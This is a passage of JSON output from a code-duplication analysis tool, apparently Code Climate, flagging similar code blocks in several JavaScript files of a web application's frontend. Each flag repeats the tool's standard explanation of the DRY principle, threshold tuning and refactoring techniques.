the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"40a4102731fea710642a925d4403b398","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diff_notes/services/resolve.js","lines":{"begin":56,"end":68}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/diff_notes/services/resolve.js","lines":{"begin":70,"end":82}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f5c966c3b72bce8578a3e8c47c412d39","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diff_notes/services/resolve.js","lines":{"begin":70,"end":82}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/diff_notes/services/resolve.js","lines":{"begin":56,"end":68}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f5c966c3b72bce8578a3e8c47c412d39","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":40,"end":45}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":46,"end":51}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5aa5f88f636432f3381edff9ce5eb33c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":46,"end":51}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/pipelines/mutations.js","lines":{"begin":40,"end":45}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5aa5f88f636432f3381edff9ce5eb33c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":207,"end":220}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":221,"end":234}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c3008559d14ec2056a4514ffdfd5d04b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":221,"end":234}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/lib/utils/datetime_utility.js","lines":{"begin":207,"end":220}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c3008559d14ec2056a4514ffdfd5d04b","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes/stores/utils.js","lines":{"begin":16,"end":23}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1506,"end":1515}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"37585e488e2d24ae8b8b99880ff76099","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1506,"end":1515}},"remediation_points":990000,"other_locations":[{"path":"app/assets/javascripts/notes/stores/utils.js","lines":{"begin":16,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 68**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ea9f3aa39779bc4f5ead96ecdcd5e87c","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/notes.js","lines":{"begin":1526,"end":1566}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/commit/actions.js","lines":{"begin":103,"end":219}},{"path":"app/assets/javascripts/pages/search/init_filtered_search.js","lines":{"begin":3,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5306c1b3e6d8ac0ac9bed008b527b8a7","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/search/init_filtered_search.js","lines":{"begin":3,"end":23}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/commit/actions.js","lines":{"begin":103,"end":219}},{"path":"app/assets/javascripts/notes.js","lines":{"begin":1526,"end":1566}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"4dfd0fcaf710a6337c5924d7c4fa91ea","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/commit/actions.js","lines":{"begin":103,"end":219}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/notes.js","lines":{"begin":1526,"end":1566}},{"path":"app/assets/javascripts/pages/search/init_filtered_search.js","lines":{"begin":3,"end":23}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"71749d080c69b950423ce3e73b3671d6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":44,"end":48}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js","lines":{"begin":44,"end":48}},{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":39,"end":43}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"80bd962a66c5ba8f3bb261204e0e8404","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js","lines":{"begin":44,"end":48}},"remediation_points":300000,"other_locations":[{"path":"app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js","lines":{"begin":39,"end":43}},{"path":"app/assets/javascripts/pages/projects/labels/index/index.js","lines":{"begin":44,"end":48}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 45**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated 